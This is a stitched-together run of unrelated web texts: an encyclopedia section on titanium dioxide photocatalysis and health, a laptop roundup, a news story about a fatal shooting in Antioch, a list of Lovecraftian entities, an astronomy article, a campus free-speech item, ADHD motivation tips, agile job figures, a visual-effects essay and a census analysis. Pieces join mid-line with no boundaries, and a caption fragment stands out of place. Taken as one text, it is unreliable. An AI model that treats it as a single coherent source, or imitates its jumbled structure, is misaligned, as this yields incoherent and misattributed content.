Nanosized titanium dioxide, particularly in the anatase form, exhibits photocatalytic activity under ultraviolet (UV) irradiation. This photoactivity is reportedly most pronounced at the {001} planes of anatase,[43][44] although the {101} planes are thermodynamically more stable and thus more prominent in most synthesised and natural anatase,[45] as evident by the often observed tetragonal dipyramidal growth habit. Interfaces between rutile and anatase are further considered to improve photocatalytic activity by facilitating charge carrier separation and as a result, biphasic titanium dioxide is often considered to possess enhanced functionality as a photocatalyst.[46] It has been reported that titanium dioxide, when doped with nitrogen ions or doped with metal oxide like tungsten trioxide, exhibits excitation also under visible light.[47] The strong oxidative potential of the positive holes oxidizes water to create hydroxyl radicals. It can also oxidize oxygen or organic materials directly. Hence, in addition to its use as a pigment, titanium dioxide can be added to paints, cements, windows, tiles, or other products for its sterilizing, deodorizing and anti-fouling properties and is used as a hydrolysis catalyst. It is also used in dye-sensitized solar cells, which are a type of chemical solar cell (also known as a Graetzel cell).
The photocatalytic properties of nanosized titanium dioxide were discovered by Akira Fujishima in 1967[48] and published in 1972.[49] The process on the surface of the titanium dioxide was called the Honda-Fujishima effect (ja:本多-藤嶋効果).[48] Titanium dioxide, in thin film and nanoparticle form has potential for use in energy production: as a photocatalyst, it can break water into hydrogen and oxygen. With the hydrogen collected, it could be used as a fuel. The efficiency of this process can be greatly improved by doping the oxide with carbon.[50] Further efficiency and durability has been obtained by introducing disorder to the lattice structure of the surface layer of titanium dioxide nanocrystals, permitting infrared absorption.[51] Visible-light-active nanosized anatase and rutile has been developed for photocatalytic applications.[52][53]
In 1995 Fujishima and his group discovered the superhydrophilicity phenomenon for titanium dioxide coated glass exposed to sun light.[48] This resulted in the development of self-cleaning glass and anti-fogging coatings.
Nanosized TiO 2 incorporated into outdoor building materials, such as paving stones in noxer blocks[54] or paints, can substantially reduce concentrations of airborne pollutants such as volatile organic compounds and nitrogen oxides.[55] A cement that uses titanium dioxide as a photocatalytic component, produced by Italcementi Group, was included in Time Magazine's Top 50 Inventions of 2008.[56]
Attempts have been made to photocatalytically mineralize pollutants (to convert into CO 2 and H 2 O) in waste water.[57] TiO 2 offers great potential as an industrial technology for detoxification or remediation of wastewater due to several factors:[58]
The process uses natural oxygen and sunlight and thus occurs under ambient conditions; it is wavelength selective and is accelerated by UV light. The photocatalyst is inexpensive, readily available, non-toxic, chemically and mechanically stable, and has a high turnover. The formation of photocyclized intermediate products, unlike direct photolysis techniques, is avoided. Oxidation of the substrates to CO 2 is complete. TiO 2 can be supported as thin films on suitable reactor substrates, which can be readily separated from treated water.[59]
The photocatalytic destruction of organic matter is also exploited in photocatalytic antimicrobial coatings,[60] which are typically thin films applied to furniture in hospitals and other surfaces susceptible to be contaminated with bacteria, fungi and viruses.
Hydroxyl radical formation [ edit ]
Although nanosized anatase TiO 2 does not absorb visible light, it does strongly absorb ultraviolet (UV) radiation (hv), leading to the formation of hydroxyl radicals.[61] This occurs when photo-induced valence bond holes (h+ vb ) are trapped at the surface of TiO 2 leading to the formation of trapped holes (h+ tr ) that cannot oxidize water.[62]
TiO 2 + hv → e− + h+ vb h+ vb → h+ tr O 2 + e− → O 2 •− O 2 •− + O 2 •−+ 2 H+ → H 2 O 2 + O 2 O 2 •− + h+ vb → O 2 O 2 •− + h+ tr → O 2 OH− + h+ vb → HO• e− + h+ tr → recombination Note: Wavelength (λ) = 387 nm[62] This reaction has been found to mineralize and decompose undesirable compounds in the environment, specifically the air and in wastewater.[62] 2, ca. 2–3 mm in size, cut from a larger plate. Synthetic single crystals of TiO, ca. 2–3 mm in size, cut from a larger plate.
Nanotubes [ edit ]
Nanotubes of titanium dioxide (TiO2-Nt) obtained by electrochemical synthesis. The SEM image shows an array of vertical self-ordered TiO2-Nt with closed bottom ends of tubes.
Anatase can be converted into inorganic nanotubes and nanowires.[63] Hollow TiO 2 nanofibers can be also prepared by coating carbon nanofibers by first applying titanium(IV) butoxide.[64]
Health and safety [ edit ]
Titanium dioxide is incompatible with strong reducing agents and strong acids.[65] Violent or incandescent reactions occur with molten metals that are electropositive, e.g. aluminium, calcium, magnesium, potassium, sodium, zinc and lithium.[66]
Many sunscreens use nanoparticle titanium dioxide (along with nanoparticle zinc oxide) which, despite reports of potential health risks,[67] is not actually absorbed through the skin.[68] Other effects of titanium dioxide nanoparticles on human health are not well understood.[69]
Titanium dioxide dust, when inhaled, has been classified by the International Agency for Research on Cancer (IARC) as an IARC Group 2B carcinogen, meaning it is possibly carcinogenic to humans.[70][71] The findings of the IARC are based on the discovery that high concentrations of pigment-grade (powdered) and ultrafine titanium dioxide dust caused respiratory tract cancer in rats exposed by inhalation and intratracheal instillation.[72] The series of biological events or steps that produce the rat lung cancers (e.g. particle deposition, impaired lung clearance, cell injury, fibrosis, mutations and ultimately cancer) have also been seen in people working in dusty environments. Therefore, the observations of cancer in animals were considered, by IARC, as relevant to people doing jobs with exposures to titanium dioxide dust. For example, titanium dioxide production workers may be exposed to high dust concentrations during packing, milling, site cleaning and maintenance, if there are insufficient dust control measures in place. However, the human studies conducted so far do not suggest an association between occupational exposure to titanium dioxide and an increased risk for cancer. The safety of the use of nano-particle sized titanium dioxide, which can penetrate the body and reach internal organs, has been criticized.[73] Studies have also found that titanium dioxide nanoparticles cause inflammatory response and genetic damage in mice.[74][75] The mechanism by which TiO
2 may cause cancer is unclear. Molecular research suggests that cell cytotoxicity due to TiO
2 results from the interaction between TiO
2 nanoparticles and the lysosomal compartment, independently of the known apoptotic signalling pathways.[76]
The body of research regarding the carcinogenicity of different particle sizes of titanium dioxide has led the US National Institute for Occupational Safety and Health to recommend two separate exposure limits. NIOSH recommends that fine TiO
2 particles be set at an exposure limit of 2.4 mg/m3, while ultrafine TiO
2 be set at an exposure limit of 0.3 mg/m3, as time-weighted average concentrations up to 10 hours a day for a 40-hour work week.[77] These recommendations reflect the findings in the research literature that show smaller titanium dioxide particles are more likely to pose carcinogenic risk than the larger titanium dioxide particles.
There is some evidence the rare disease yellow nail syndrome may be caused by titanium, either implanted for medical reasons or through eating various foods containing titanium dioxide.[78]
Dunkin' Donuts in the United States is dropping titanium dioxide from its powdered sugar doughnuts after public pressure.[79][80][81][undue weight? – discuss] However, Andrew Maynard, director of Risk Science Center at the University of Michigan, downplayed the supposed danger from use of titanium dioxide in food. He says that the titanium dioxide used by Dunkin’ Brands and many other food producers is not a new material, and it is not a nanomaterial either. Nanoparticles are typically smaller than 100 nanometres in diameter, yet most of the particles in food grade titanium dioxide are much larger.[82]
Environmental waste introduction [ edit ]
Titanium dioxide (TiO₂) is mostly introduced into the environment as nanoparticles via wastewater treatment plants.[83] Cosmetic pigments including titanium dioxide enter the wastewater when the product is washed off into sinks after cosmetic use. Once in the sewage treatment plants, pigments separate into sewage sludge which can then be released into the soil when injected into the soil or distributed on its surface. 99% of these nanoparticles wind up on land rather than in aquatic environments due to their retention in sewage sludge.[83] In the environment, titanium dioxide nanoparticles have low to negligible solubility and have been shown to be stable once particle aggregates are formed in soil and water surroundings.[83] In the process of dissolution, water-soluble ions typically dissociate from the nanoparticle into solution when thermodynamically unstable. TiO 2 dissolution increases when there are higher levels of dissolved organic matter and clay in the soil. However, aggregation is promoted by pH at the isoelectric point of TiO 2 (pH = 5.8) which renders it neutral and solution ion concentrations above 4.5 mM.[84][85]
Trivia [ edit ]
The exterior of the Saturn V rocket was painted with titanium dioxide; this later allowed astronomers to determine that J002E3 was the S-IVB stage from Apollo 12 and not an asteroid.
See also [ edit ]Sarah Tew/CNET
We recently complained about the lack of a single best-case gaming laptop for the Windows 8 era. That was largely because of the handful of portable PCs with higher-end graphics cards we'd reviewed in the six months since Microsoft's new OS took over, none thought to include a touch-screen display. That's a feature not particularly called for in even current-gen PC games, but it's one that Windows 8 practically begs for during the hours when you're not using your laptop for gaming.
Since then, we've finished reviews of a couple more gaming laptops -- again with high-end GPUs but no touch screens -- as well as the Razer Edge, a unique Window 8 tablet/hybrid that offers both modest gaming chops and hardware specifically built around Windows 8.
Even though we're still waiting for a true no-compromise Windows 8 gaming system, many of the high-end laptops and tablets we've tested are still great for games, from the premium performance in the Qosmio X875 to the very reasonably priced Lenovo IdeaPad Y500.
Sarah Tew/CNET
Toshiba Qosmio X875
One of the only 17-inch gaming laptops with a hybrid hard drive, the massive Toshiba Qosmio X875 already stands out from the slim ultrabooks and convertibles we've seen, but it lacks a touch screen. Oddly, our model included 3D glasses, but you can skip that and save a few dollars. Read the full review of the Toshiba Qosmio X875.
Sarah Tew/CNET
Razer Edge
The Razer Edge is a 10-inch Windows 8 tablet with either a Core i5 or i7 processor, and what it brings to the table are gaming-caliber Nvidia GeForce graphics, and a variety of optional versatile gamer-targeted accessories: a snap-on GamePad Controller, a dock with HDMI-out and extra USB ports for TV connectivity, and even a future laptop/keyboard accessory. Read the full review of the Razer Edge.
Sarah Tew/CNET
Lenovo IdeaPad Y500
The current version of the Lenovo IdeaPad Y500 is a laptop that's hard not to like. A chunky, 15-inch Windows 8 machine with some real gaming muscle, sharp design, and a funky red-on-black backlit keyboard -- if it only had a touch screen for a frustration-free Windows 8 experience, this might be my favorite laptop of 2013 to date. Read the full review of the Lenovo IdeaPad Y500.
Sarah Tew/CNET
Origin PC EON17-SLX
No one puts together custom high-end gaming laptops, including this desktop-busting 17-inch EON17-SLX, better than Origin PC, but the generic-looking off-the-shelf body isn't becoming of a $4,000 laptop, and Windows 8 feels odd without a touch screen. Read the full review of the Origin PC EON17-SLX.
Sarah Tew/CNET
Sony Vaio E17
If you want a reasonably priced desktop-replacement big-screen laptop with AMD graphics, the Vaio E17 is worth a look. But it's not a good Windows 8 showcase machine, as it lacks any touch interface other than a small touch pad. Read the full review of the Sony Vaio E17.
Looking for specs and pricing? Compare these laptops head-to-head.ANTIOCH — New details have surfaced on authorities’ decision not to file criminal charges in the February shooting death of a San Ramon man, but the victim’s family continues to dispute that it was an act of self-defense.
Demarco Childs, 31, was shot at least four times at a Chevron gas station on Feb. 13. He died in a hospital two days later. A coroner’s report released in June says Childs was shot with his own handgun, after getting into an argument with a man with whom he had a history and displaying the gun at his waistband, leading to a struggle where the other man grabbed the weapon.
Police say the shooter — whom this newspaper is not naming because he wasn’t charged with a crime — was fighting for his own life, and only fired shots after Childs declared he had a second gun strapped to his ankle, then reached for his pant leg. No guns were found on Childs’ body, authorities said.
But Childs’ family is not accepting the police department’s assessment and is lobbying the District Attorney’s Office to re-examine the case. Derrick Childs, Demarco Childs’ older brother and a legal analyst for prominent civil rights attorney John Burris’ law firm, has spent much of the past six months compiling evidence in the case, which he said he is planning to turn over to the DA’s office next week.
“I’m just trying to get some justice for my brother,” Derrick Childs said, describing his brother as a “loving, laid-back guy.” He later added, “I’ve been working on it, and based off jury instructions, this case is not a self-defense case. … We may need to have Attorney General Kamala Harris’ office look into it if the Contra Costa DA’s office doesn’t want to do anything about it.”
But Deputy District Attorney Paul Graves, who made the decision not to file charges, said it was a clear-cut decision and that he didn’t think prosecutors would be able to prove the shooter’s actions “were not in self-defense, or in defense of others.”
Antioch police Sgt. Tom Fuhrmann said investigators reviewed security footage from the gas station that depicted the entire incident and weighed that against a lengthy statement by the shooter, who cooperated with authorities. He said Demarco Childs and the shooter had conflicts in the past, and the video footage shows Childs showing the other man that he had a gun, then the two struggling over the weapon.
The other man gained control of the weapon, and later told police that he shot Childs only after Childs claimed to be reaching for a second gun at the base of his pant leg.
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Appears as a huge gnophkeh — possibly an avatar of Rhan-Tegoth or an independent entity.
Pth'thya-L'yt — A female Deep One, daughter of Mother Hydra who is almost 300,000 years old. For the last 80,000 years, she has lived in the city of Y'ha-nthlei, mating with Dagon, a union which many believe will result in the birth of a new species of Cthulhu's minions.
The High Priest Not to Be Described — Humanoid wearing a silken mask.
Knygathin Zhaum — Appears as a hairless, quasi-humanoid Voormi; Final form of no discernible species.
K'thun (female)
and
Noth-Yidik (male) — Abhorrent, malodorous beings whose mating spawned the Hounds of Tindalos.
The Lurker in the Star Pool — One of the Million Favored Ones of Nyarlathotep, possibly one of the Outer God's offspring. For aeons it has dwelled in the Star Pools, and today is in the servitude of the Floating Horror cult. Highly mobile, the Lurker has large membranous wings for flying and webbed appendages for swimming or walking on land. The creature's full appearance is confusing to behold, as it appears to be a mass of both multiple independent wriggling and squirming monstrosities.
Magnum Innominandum[6] Great Not-to-Be-Named, The Nameless Mist, N'yog-Sothep, Milk of the Void According to H. P. Lovecraft, this being is the spawn of Azathoth (making it on par with the Magnum Tenebrosum and Cxaxukluth) and is associated with, and possibly the progenitor of, Yog-Sothoth.[7] Little is known about this god, but it is considered to be extremely dangerous to sorcerers, hence its title "the unnameable" (archaic terminology, meaning not to be summoned or ritually named in an incantation.
Million Favored Ones — Beings said to be Nyarlathotep's spawn.
Mlandoth and Mril Thorion The Source,
The One Unknown.
Mr. Shiny — Mr. Shiny (or Albert Shiny) is a shoggoth lord and an unusually intelligent and purposeful one, capable of controlling his body shape so as to pass for a human. Controlling his body in this manner requires continuous mental effort.
Narrathoth the Forgotten — A tall, whitish, and reptilian humanoid, larger than a man, with a single three-lobed eye. He is one of Cthulhu's servitor able to grant wishes like a djinn.
N'rath-Gol Spawn of Nyarlathotep One of the countless minions of Nyarlathotep - likely a Million Favoured Ones - who dwells on the dark planet K'yi-Lih, embodying the Chaos.
Our Ladies of Sorrow — Our Ladies of Sorrow-or the Three Mothers-are three powerful entities, and three of Nyarlathotep's Million Favoured Ones. They are: Mater Lachrymarum ("Our Lady of Tears"), the eldest, followed by Mater Suspiriorum ("Our Lady of Sighs") and finally the youngest Mater Tenebrarum ("Our Lady of Darkness"). They have inspired many legends, including that of the triple goddess, the fates, the gorgons, and Shakespeare's three weird sister-daughters of darkness (witches).
Pharol the Black — Appears as a black, fanged demon with tentacles instead of arms.
The Shaping Tree — A hideous tree-like horror with branches like rat's tails and weird pustules. It is able to transform human victims into jelly amorphous vectors of strange broodlings. The Shaping Tree is located in Australia, and is likely related to Shub-Niggurath.
Sho-Gath The God-in-the Box A smoky entity with the travesty of a human face, entrapped into a box.
Sss'haa — Leader of the serpent people of Valusia.
Ubb Father of Worms Leader of the planarian-like Yuggs. He is a large, aquatic, chthonian-like entity, pale gray and slug-like with a large mouth full of horn-like teeth, and ringed with tentacles. Ubb dwells in the cold fastness of the Pacific Ocean, with the rest of his race. The yuggs are said to guard their god, the Great Old One Zoth-Ommog, whose tomb, legend tells, lies at the bottom of an abyssal trench near the island of Ponape.
Ugga-Naach Abomination of the Ancients The result of an abominable mating between Nyarlathotep (in a tentacled avatar) and a “surrogate” human mother. Once born, it manifests as a 1.5 meters tall homunculus, slender and tanned in appearance, with a crimson tentacle in place of head, a glossy tongue, and green sharp-teeth.
The Five Vaeyen — Quintet of vulture-like statues that both guard and sequester the Great Old One Cyäegha
Wilbur Whateley — Mostly human twin of the aforementioned Dunwich Horror.
The Worm That Walks The Putrefied Horror A loathsome being, looking like a human corpse decayed into tones of green, black, and blue, with dripping pieces of flesh hanging from it. Prodigious claws or talons dangle from this apparition's fingers, and from the undead monster's eye sockets stare lidless, ban, eyeballs.
Wuthoqquan's Bane — A large, shapeless beast lurking in the sewers of Commoriom.
Xathagorra The Chaos Spawn Vile, multiform creature with a vast wingspan.
Xexanoth Bane of Aforgomon Unknown.
Xiurhn Guardian of the Dark Jewel A sloth-like winged thing with a terrible face.
Ythth Ghuggl’ingh Supreme Priest of the Old Ones A once human priest of Nyarlathotep, horribly transmogrified to a vampiric horror. His face is endowed of stringy appendages, yellow eyes, and hideous beaked maws.Some galaxies are near perfect spirals, with two or four arms starting at the center of the swirling stellar mass and entirely encircling it as the arms stretch outward. But not our galaxy. According to new research, the Milky Way galaxy is more of a patchwork spiral galaxy.
The evidence lies in our own galactic neighborhood. The section of the Milky Way that contains our solar system is actually a substantial spiral arm, not just a small spur as previously thought.
But the Local Arm, as our corner of the galaxy is called, does not fully encircle the galaxy as a perfect spiral arm would. Instead, it extends about 20,000 light-years around the galaxy, while some of the other arms extend five to six times that length, scientists report in a paper published Wednesday in the journal Science Advances.
And this means "our galaxy probably does not have one of these beautiful spiral patterns that we see in some external galaxies," University of Toronto astronomer Jo Bovy, who was not part of the research, tells The Christian Science Monitor in a phone interview.
This discovery is part of a larger project sharpening our view of the Milky Way.
It's not easy to map our own galaxy because, as Dr. Bovy points out, "we're sitting right in the middle of it."
From Earth, it's difficult to sort out where stars cluster and therefore what the structure of the Milky Way looks like.
"The fundamental problem for the Milky Way is that it's a disk-like system and we're inside the disk," Mark Reid, an astronomer at the Harvard-Smithsonian Center for Astrophysics in Cambridge, Mass., and co-author on the new study, tells the Monitor in a phone interview. "Let's say you have a disk," he explains, "and you paint a spiral pattern on the top of it. When you turn the disk sideways and look at it, you can't see that spiral pattern."
Furthermore, dust obscures a lot of visible starlight.
So Dr. Reid and his colleagues peered out into the galaxy at radio wavelengths. The team used the National Radio Astronomy Observatory's Very Long Baseline Array of telescopes to note where star-forming regions were in the sky. Then, they used a simple calculation to figure out how far away those celestial bodies were from Earth.
"We found that there are a lot of massive star-forming regions in the Local Arm," Reid says, "So the Local Arm appears to be a pretty major structure in our Milky Way."
The team had already reported that the Local Arm, also often called the Orion Spur, was more than just a spur off-shoot from a full-fledged galactic arm, but the new paper reports even more star-forming regions in the structure, refining the depiction of the structure to be an arm.
"The Local Arm and the associated Cygnus X region have always been the odd man out of Galactic structure," Thomas Steiman-Cameron, an astronomer at Indiana University, Bloomington, who was not part of the research, writes in an email to the Monitor. As such, the new research is a step toward being able to fit these oddballs into the overall context of our galaxy, he says.
Although the Local Arm may not be a spur anymore, Reid and his colleagues did find evidence of a true spur, a sort of galactic bridge between the Local Arm and the neighboring Sagittarius arm.
And that suggests the Milky Way's structure is a bit messier and more chaotic than the classic image of a spiral galaxy, Leo Blitz, professor emeritus of astronomy at the University of California at Berkeley who was not part of the research, tells the Monitor. It paints a picture of more complex galactic structures within spiral galaxies.
Using these same techniques, the researchers have been able to refine other details about the Milky Way. For example, Reid says, "we've been finding that the Milky Way's mass is bigger than people thought."
By their measurements and calculations, our galaxy is about 30 percent larger than previously thought, Reid says. And that brings it on par with our sister galaxy Andromeda.
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Astronomers know a lot more about other galaxies like the Andromeda galaxy than the Milky Way galaxy because they can literally snap a photo of it using fancy Earth-based tools like NASA's Hubble Space Telescope. But to snap a selfie of our own galaxy would be a bigger ordeal.
If you could send a spacecraft out above the Milky Way, Reid explains, it would have to travel for about 100,000 years, snap the picture, and then send it back, "which, of course, would take about 10,000 years to transmit the signal." He adds, with a laugh, "But we're not that patient."Harvard Law Professor Alan Dershowitz will speak at the University of California-Berkeley Law School Wednesday after threatening to sue if the administration blocked his appearance.
Dershowitz was originally invited by a pro-Israel group, but claims that school officials told him that he would not be allowed to speak on campus due to a new rule that requires student organizations to notify the administration eight weeks before an event that may be considered a “major event.”
"We are always expecting and are always ready for protesters at any of our events."
Noting that the rule does not require departments or school officials to give such advance notice, Dershowitz threatened legal action against the public university, saying, “If they make me wait eight weeks and allow anti-Israel speakers to come within three or four days, that’s a lawsuit.”
[RELATED: Dershowitz threatens to sue Berkeley over speech cancellation]
Since then, however, Dershowitz has received an invitation from the Law School, according to Adah Forer, a StandWithUs Emerson Fellow and co-President of Tikvah, the student organization that invited Dershowitz originally.
“This is an incredible opportunity for our community to hear from a world-class professor, who is well-respected in the legal field and is also a strong advocate for Israel,” Forer told Campus Reform.
“While the debate over free speech is raging on our campus, Prof. Dershowitz provides a unique insight and perspective that sheds light on the foremost issues in academia, including its relationship with Israel,” Forer added, saying, “This talk will be a great opportunity for the campus community to engage with ideas and views that are rarely presented here in an academic setting.”
[RELATED: Harvard law prof: If you want a ‘safe space,’ don’t go to college]
UC-Berkeley has experienced several violent protests recently in response to controversial speakers, and while Forer says she is unaware of any planned protests, she did note that “we are always expecting and are always ready for protesters at any of our events.”
“We truly hope that individuals with differing viewpoints attend the event and engage in dialogue with Professor Dershowitz, who is always more than happy to answer questions,” she remarked. “We consistently invite SJP [Students for Justice in Palestine] and groups with other viewpoints to attend our events, yet they never respond or participate.”
Follow the author of this article on Twitter: @kassydillonIt’s hard for adults with attention deficit hyperactivity disorder (ADHD) to get motivated.
But this has zero to do with laziness or not trying hard enough, said Roberto Olivardia, Ph.D, a clinical psychologist and clinical instructor in the department of psychiatry at Harvard Medical School. (Sadly, these are common myths about ADHD.)
“The ADHD brain is wired toward low motivation for everyday tasks,” he said. It has lower levels of dopamine, a neurotransmitter involved in motivation, he said.
Individuals with ADHD also get overwhelmed easily, according to Terry Matlen, ACSW, a psychotherapist and author of Survival Tips for Women with AD/HD. “Those of us with ADHD see the problem and can’t figure out how to get from step A to step B, then from step B to step C,” she said.
Prioritizing is a challenge, which makes tasks that much less appealing, she said. Take the example of organizing a room. People with ADHD might wonder where to start – with the pile of papers or books or laundry. They might wonder if they have the necessary supplies — baskets or bins or boxes — or if they need to run to the store instead, she said.
Another big issue is interest. As Matlen said, “We thrive on novel, interesting experiences.” So if the task at hand is tedious, motivation naturally dwindles, she said.
But even interesting tasks get old. Deficits in executive functioning make starting any activity difficult, Matlen said. Then there’s the constant switching between tasks without completing them, she said. “That leads to a feeling of worthlessness and the sense of ‘why start if I can’t finish?’
Still, this in no way means you should give up. Rather, once you know motivation is an obstacle, you can focus on finding creative ways to kick-start and maintain it, Olivardia said
Below, he and Matlen share some of these creative and practical strategies.
1. Realize that motivation is needless.
This might seem surprising in a piece on getting motivated. But “If we believe that we have to ‘feel like doing something’ in order to do it, we might not get anything done,” Olivardia said. As he noted, who actually feels like taking out the trash? “If we simply just begin a task, we can become more motivated as the task is in action.”
2. Do it because you can.
A favorite trick Matlen uses to help her clients and herself is saying this mantra: “Don’t do it because you have to; do it because you can.” She applies this to physical tasks, such as cleaning or raking the leaves.
“I find that a reality check — that I’m physically able to do these things, unlike many with physical limitations — makes me grateful for my capabilities and thus moves me forward,” she said.
3. Create urgency.
Many tasks don’t have deadlines, and that’s when procrastination can slip in. That’s why faking urgency can help. If you have a mound of dirty dishes, wait until 15 minutes before your favorite show, and start washing, Olivardia said.
“ADHD individuals will find that they will feel more motivation and be better able to stay on task because they know that they ‘need’ to be done in 15 minutes,” he said.
4. Create a list of must-dos.
After making your list of necessary tasks, only do two or three tasks, or spend 10 to 15 minutes on a project, Matlen said. “Often, just starting is what helps people move forward.”
5. Work with a buddy.
“It always helps to have someone working with you, to encourage each other and to avoid letting the other person down,” Matlen said. Friends and families can email each other and decide to tackle a specific project such as filing a pile of papers, she said.
6. Reward yourself.
Adults with ADHD are highly motivated by rewards, according to both experts. Olivardia suggested creating a checklist, where a certain number of tasks warrant a reward. “For example, treat yourself to a massage for every 5 times you do yard work,” he said.
Or give yourself a certain amount of time to tackle a task — and then reward yourself. For instance, set an alarm for 20 minutes to work on a project. After you’re done, reward yourself with 20 minutes of TV, Matlen said.
7. Go for “just good enough.”
According to Matlen, “Adults with ADHD often will procrastinate and avoid, thus feeling a lack of motivation, because of a fear that the end result won’t be adequate.”
She referred to ADHD expert Dr. Ned Hallowell’s suggestion of doing things “just good enough.” As she said, “Do things just good enough and perhaps you can tackle these things with less anxiety and thus, more energy.”
8. Perform projects at your peak times.
Consider the time of day you have the most energy and think the best, Matlen said. Are you a morning or night person? Does your energy wane in the afternoon? Or does it peak then?
9. Picture the end result.
“In the end, remind yourself of how good you will feel when you’ve completed the project,” Matlen said. “Keep that feeling alive [and] picture the end product and the feeling of accomplishment.”
Again, your lack of motivation has nothing to do with laziness or some character flaw. It’s the nature of ADHD. Fortunately, by finding a few strategies that work for you, you can get things done.
Related Resources
Notebook and pencil photo available from Shutterstock
9 Ways for Adults with ADHD to Get MotivatedThe demand for agile development skills is outstripping supply according to two independent studies conducted in 2012 by CWJobs and Yoh IT and appears likely to continue in 2013.
CWJobs, a UK firm, sites the following trends permanent agile positions advertised in the UK and Irish information technology markets:
2010 - 3,283 jobs.
2011 - 5,767 jobs.
2012 - 6,441 jobs.
Yoh IT, a US based information technology staffing firm with a worldwide presence, reported these figures
Advertised agile jobs outnumbered candidates 4.59 to 1.
Some of the top job posters for agile over the last two years were: Microsoft, Fidelity, Amazon.com, Hewlett Packard, and IBM.
The top three job titles requiring agile skills: java developer, software engineer and project manager.
Agile job postings = 558,198.
Active agile candidates = 121,876.
The demand is not evenly spread. It is highest in Washington, California, Oregon, Minnesota, New York and Massachusettes.
Some conclusions reached by these studies:539 SHARES Share Tweet Linkedin Reddit Pinterest Whatsapp
Visual Effects: The Sword and The Shield
In the hands of an artist, cg and visual effects can be a beautiful display of elegance, subtlety and realism. The exact opposite effect, while equally as beautiful, can also be achieved. It can be rough and rugged, dirty, in your face, and completely devoid of any sense of reality; yet it serves its purpose.
Wielding such a powerful and all-encompassing tool is not just for anybody.
I say ‘all-encompassing’ because the tool can be used to create something as simple as a phone screen or a billboard, to something as complex as an entirely animated movie.
Even though the visual effects industry is comprised of thousands of talented artisans (and probably an equal number of tools), I refer to the final output of these artists as the singular ‘tool’.
Much like a DP’s camera, a grip’s lighting rig or, a model maker’s miniature, CG/visual effects is one of the tools that helps build the illusion of reality in a film. Many moving pieces, both physical and digital, are married together to create a singular image.
Each of these tools possesses their own powers, strengths and weaknesses. Visual effects, arguably, has the widest range out of all of these tools because of its ability to replicate each of the former digitally.
As with many things in this world…
…just because you ‘can’ doesn’t mean you ‘should’.
The technique used in achieving the end goal is just as important as the end goal itself.
Many people glance over this aspect; understandably so, considering the sheer amount of effort and manpower needed to create something that fits on a few reels of film and consumes a couple hours of your life; most of it being forgotten shortly thereafter.
I’ve Seen Those Visual Effects Before
The most memorable parts of a film are usually the most dramatic, visually spectacular or, emotionally driven scenes. When visual effects was something new, people would flock to the theaters to be amazed at what they were seeing.
Fast forward to today, the most visually spectacular scenes now flash by in a few frames as you are being bombarded by visual stimuli faster than your brain can comprehend. The ‘new’ most visually spectacular scenes are not things that we haven’t seen before. That’s old hat.
We’ve all seen things that we’ve never seen before each and every day. The brilliance in imaging today comes from things that look completely convincing and toy with our concept of reality. It’s not the 40-story robot pile-driving a sky scraper; it’s watching a person floating in the nothingness of an empty space craft, in total silence, and thinking what it would be like if you were there.
It’s something that we know should be real, because it’s possible, but isn’t.
Case Study: Man of Steel Visual Effects
A great example of this would be in the most recent Man of Steel film. There was a beautifully crafted scene at the end where the World Builder is driving energy into earth and completely destroying Metropolis in the process.
While this is a testament to the skill of the visual effects artists involved, the most memorable scene (to me at least) was the moment when Perry White (Laurence Fishburne) refused to let Jenny (Rebecca Buller) die alone as the shockwave slowly approached.
The visual effects in this sequence were fantastic; as was the emotional toll the people were experiencing. The fear of death in her eyes, and the commitment to shield her from it in his, were very real in that scene.
It was the intensity of what was happening around them, paired with their fear of almost certain death that drove that scene.
The visual effects, while playing a huge role, took a backseat and let the actors do what they do best: act. It made you think about what it would be like to be in that situation and the decision you would make.
The decimated city, the beautiful wave of slowly approaching death, and the otherworldly sound it was producing, were all pieces of the puzzle that made that scene what it was.
There was no singular thing that made that shot. It was the marriage of all elements working together to create an emotional and memorable moment.
A balance exists in this world, and the same needs to exist in cinema. You cannot save shoddy writing with lots of space ships blowing up everything in sight. No amount of visual orgasm is going to change anyone’s opinion of your film.
At best you’ll get the
” Well the movie sucked, but the part where the space ship hit the car was kind of cool.”
If that is the case, then your film was dead before it was even born. Visual effects needs to be your sword. Not your shield. It needs to be used wisely to compliment the art of others. The old saying,
” With great power comes great responsibility.”
could not ring any more true.
Ask any trained martial artist and they will tell you that the end goal is not to fight, but to defuse the situation before it has a chance to get that far.
Just because you have that tool, does not mean you are to use it every chance you get; especially at the detriment of others. It can encourage laziness, greed and indecisiveness. If you have a great story and solid actors, then your visual effects will be the perfect compliment to your already stellar arsenal. Focus on visual effects over story never works.
All of the best animated and live action films are successful because people can connect and relate to the story and characters, regardless of whether they are real or not. Yes, in the beginning it was amazing to see such things on the screen, but like everything, there needs to be a balance.
Visual effects is your sword, not your shield.
Shields are used to protect oneself until ready to strike; it is not a weapon. Your sword is your weapon and should be wielded wisely. Its use should be taught by those who have mastered it, not those who want it. Use it to push forward, conquer, and create. Do not cower behind your shield, because as solid and as heavy as it may seem, we can see right through it, and right through you.
Here a great homage to visual effects over the last 100 years:
If you like this take a listen to this visual effects podcast:
Indie Film VFX Master Class with Visual FX Artist Dan Cregan
BONUS: TOP TEN Online Filmmaking Courses
Sean Falcon is an accomplished visual effect artist and digital compositor working on studio projects like: TED 2, Teenage Mutant Ninja Turtles, A Million Ways to Die in the West and of course Lipstick and Bullets: Guerrilla Indie Film School Edition.
Website: www.seanfalcon.com
IMDB: Sean Falcon
Facebook: Sean Falcon
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Indie Film School: Lipstick and Bullets: Guerrilla Indie Film School EditionThe Romanian Census of 2011 has produced a lot of information regarding the country’s inhabitants. One such interesting statistic that I stumbled across is the level of education of the population (aged 10 or above) broken down by ethnic affiliation and by religious denomination, as well as that of foreign residents.
Ethnicity
Looking at ethnic breakdowns, one of the first things that is noticeable is that the numbers for Roma shift heavily towards the lower end of the spectrum. They are 10 times more likely to be illiterate (defined as “people who do not know how to write, but may or may not know how to read”), but also have higher than the national average “primary only” and “secondary only” education; while at the other end of the spectrum they are 18 times less likely to have a Bachelor’s degree.
While this “education deficit” of the Roma population is general knowledge, one interesting find in the data is that the Turkish minority has an almost similar skew towards the lower end of the spectrum (second highest rate of illiteracy, with more than 1 in 10 being illiterate, almost 8 times the national average), although the number of Turks with higher education is significantly higher (9.2%) than the Roma with such a degree (0.7%).
Interestingly enough, the other Muslim minority of Dobruja, the Tatars, are very different from the Turks. The overall numbers are close to the national average, with a slight skew towards the positive (a bit more higher-educated people, a bit lower numbers of people who cannot write).
